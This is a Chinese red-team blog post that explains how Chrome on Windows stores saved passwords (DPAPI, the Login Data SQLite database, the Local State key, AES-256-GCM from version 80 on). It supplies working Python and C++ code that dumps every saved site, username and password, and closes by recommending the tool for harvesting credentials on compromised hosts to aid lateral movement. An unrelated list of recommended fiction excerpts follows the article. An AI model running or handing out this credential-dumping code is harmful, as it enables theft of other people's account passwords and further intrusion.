抓取chrome所有版本密码

文章首发先知社区:https://xz.aliyun.com/t/9752

工具已上传到github:https://github.com/SD-XD/Catch-Browser

谷歌浏览器存储密码的方式

在使用谷歌浏览器时,如果我们输入某个网站的账号密码,他会自动问我们是否要保存密码,以便下次登录的时候自动填写账号和密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在设置中可以找到登录账户和密码

也可以直接看密码,不过需要凭证

这其实是windows的DPAPI机制

DPAPI

Data Protection Application Programming Interface(数据保护API)

DPAPI是Windows系统级对数据进行加解密的一种接口无需自实现加解密代码微软已经提供了经过验证的高质量加解密算法提供了用户态的接口对密钥的推导存储数据加解密实现透明并提供较高的安全保证

DPAPI提供了两个用户态接口CryptProtectData加密数据CryptUnprotectData解密数据加密后的数据由应用程序负责安全存储应用无需解析加密后的数据格式。但是加密后的数据存储需要一定的机制因为该数据可以被其他任何进程用来解密当然CryptProtectData也提供了用户输入额外数据来参与对用户数据进行加密的参数但依然无法放于暴力破解。

微软提供了两个接口用来加密和解密,CryptProtectMemory和CryptUnprotectMemory

实际上,在老版本(80之前)的谷歌浏览器,仅仅是使用了CryptProtectMemory来对密码进行加密

80版本之前的Chrome

实验环境

win7

Chrome版本 79.0.3945.117

实验过程

chrome的密码经过加密后存储在

%LocalAppData%\Google\Chrome\User Data\Default\Login Data

如果用二进制文本编辑器查看的化会发现他其实是一个sqlite数据库文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VzBU6xnN-1646719749639)(/img/CatchChrome/4.png)]

可以使用工具SQLiteStudio打开他

双击logins

选择data

可以看到有用户名和网址,却没有密码

但是密码的二进制实际是有值的

编写脚本解密

python的解密是最简洁的,这里送上一个三好学生的代码

fromosimportgetenvimportsqlite3importwin32cryptimportbinasciiconn=sqlite3.connect(getenv("APPDATA")+"\..\Local\Google\Chrome\User Data\Default\Login Data")cursor=conn.cursor()cursor.execute('SELECT action_url, username_value, password_value FROM logins')forresultincursor.fetchall():password=win32crypt.CryptUnprotectData(result[2],None,None,None,0)[1]ifpassword:print'Site: '+result[0]print'Username: '+result[1]print'Password: '+passwordelse:print"no password found"

但我还是想c++写一个

编写之前,需要配置sqlite3环境,并且下载<sqlite3.h>和<sqlite3.c>文件

如果当前用户正在使用谷歌,是无法打开数据库的,于是我们可以复制一份出来操作

再通过sql语句查找logins表

在回调函数中解密

看下效果,完美解出密码

与谷歌浏览器上面看到的也是一样的,无需再验证用户密码

80版本之后的Chrome

那么80.x之后的Chrome如何解密呢

实验环境

win10

Chrome版本 91.0.4472.101(最新版)

实验分析

先看一下跟以前版本的Chrome存储方式上有什么区别

判断是否是新版本的Chrome加密其实就是看它加密后值的前面有没有v10或者v11

看官方文档,分析新版加密算法

key的初始化

https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc;l=192;drc=f59fc2f1cf0efae49ea96f9070bead4991f53fea

注释:尝试从local state提取密钥。

并且可以看到kDPAPIKeyPrefix实际上就是一个字符串"DPAPI"

然后就是进行DPAPI的解密,最后就是如果key不在local state中或者DPAPI解密失败,就重新生成一个key

从这里我们我可以大致分析出key初始化时的动作:

从local state文件中提取key

base64解密key

去除key开头的“DPAPI”

DPAPI解密,得到最终的key

跟进GetString函数的参数kOsCryptEncryptedKeyPrefName

知道key存放在local state文件os_crypt.encrypted_key字段中,即

而local state文件就在本地默认目录:

%LocalAppData%\Google\Chrome\User Data\Local State

Local State是一个JSON格式的文件

明文加密方式

看源码注释

密钥加密后数据前缀是“v10”

密钥和NONCE/IV的长度分别为:32字节和12字节

这里解释一下NONCE/IV是什么:

如果我们不希望相同的明文通过密钥加密出来的密文是相同的(这样很容易让攻击者知道这两条密文的明文是相同的) 解决办法是使用IV(初始向量)或nonce(只使用一次的数值)。因为对于每条加密消息,我们都可以使用不同的byte字符串。它们是非确定理论的起源,而这种理论要求制造出令人难以分辨的副本。这些消息通常不是什么秘密,但为了解密需要,我们会在分发时对它们进行加密。 IV与nonce之间的区别是有争议的,但也不是没有关联的。不同的加密方案所保护的侧重点也不同:有些方案需要的只是密文不重复,这种情况我们通常叫作nonce;还有一些方案需要密文是随机的,甚至完全不可预测的,这种情况我们通常叫作IV。这里其实就是希望即便明文相同,经过加密后的密文也不相同。

再往下翻,其实可以看到解密函数

encrypted_value的前缀v10后为12字节的NONCE(IV),然后再是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密、

那么思路就清晰了,这里我自己画了一个图来总结算法

实现自动化抓密码

解密使用一个非常强大的库,cryptopp

先获取原始的key

string GetOriginalkey()

{

    string Decoded = "";

    //获取Local State中的未解密的key

    string key = "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADWXmStECIlTZZxWMAYf5UmAAAAAAIAAAAAABBmAAAAAQAAIAAAAP8V1h3J1qhEf8/h13hre+e3EMW0oD41Ux7UrEqls4DoAAAAAA6AAAAAAgAAIAAAAA7xXGgN1Hks1TbInimvYa0TnMfPa0jPpmlI9BDiUQAAMAAAAPzO7wya37iu97rDB4UTtn5QwQcuJkw2E3cw/tHuSnHdNv4qwXMWLC2oU3TkysoXmUAAAAAtPkLwNaInulyoGNH4GDxlwbzAW4DP7T8XWsZ/2QB0YrcLqxSNytHlV1qvVyO8D20Eu7jKqD/bMW2MzwEa40iF";

    StringSource((BYTE*)key.c_str(), key.size(), true, new Base64Decoder(new StringSink(Decoded)));

    key = Decoded;

    key = key.substr(5);//去除首位5个字符DPAPI

    Decoded.clear();//DPAPI解密

    int i;

    char result[1000] = "";

    DATA_BLOB DataOut = { 0 };

    DATA_BLOB DataVerify = { 0 };

    DataOut.pbData = (BYTE*)key.c_str();

    DataOut.cbData = 1000;

    if (!CryptUnprotectData(&DataOut, nullptr, NULL, NULL, NULL, 0, &DataVerify)) {

        printf("[!] Decryption failure: %d\n", GetLastError());

    }

    else {

        printf("[+] Decryption successfully!\n");

        for (i = 0; i < DataVerify.cbData; i++)

        {

            result[i] = DataVerify.pbData[i];

        }

    }

    return result;

}

如果当前chrome版本并不是80+,可以通过一个简单的判断:就是看加密密码前有没有”v10“或者”v11“

string e_str = argv[2];

//判断密文是否包含v10或v11,如果包含则说明是80+的Chrome,用新的解密方法

if (strstr(e_str.c_str(), "v10") != NULL || strstr(e_str.c_str(), "v11") != NULL)

{

    NewDecrypt(argc, argv, azColName);

}

else {

    DecryptoByDPAPI(argv, azColName);

}

return 0;

然后就是解密密文

获取iv和密文

//argv[2]是password_value的值

chiper = argv[2];

iv = argv[2];

iv = iv.substr(3, 15);  //获取iv的值

chiper = chiper.substr(15);  //加密密码的值

再用cyptopp强大的库函数进行解密

//获取iv hex编码值

StringSource((BYTE*)iv.c_str(), iv.size(), true, new HexEncoder(new StringSink(Encoded)));

iv = Encoded;

Encoded.clear();

iv = iv.substr(0, iv.size() - 6);

CHAR Pass_Word[1000] = { 0 };

StringSource((BYTE*)iv.c_str(), iv.size(), true,new HexDecoder(new StringSink(Decoded)));

iv = Decoded;

Decoded.clear();

char* key = GetOriginalkey();

d.SetKeyWithIV((BYTE*)key, 32, (BYTE*)iv.c_str(), iv.size());

StringSource(chiper, true,new AuthenticatedDecryptionFilter(d,new StringSink(password)));

for (int i = 0; i < password.size(); i++)

{

    Pass_Word[i] = password[i];

}

printf("%s = %s\n", azColName[0], argv[0] ? argv[0] : "NULL");

printf("%s = %s\n", azColName[1], argv[1] ? argv[1] : "NULL");

printf("%s = %s\n", azColName[2], Pass_Word);

这里逻辑的话参照上面分析步骤,这里就不再赘述

最后看看解密效果

后记

实战中如果拿到一台主机,并且安装有chrome,我们就可以抓取密码以便快速精确地横向。

欢迎关注团队公众号:红队蓝军

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容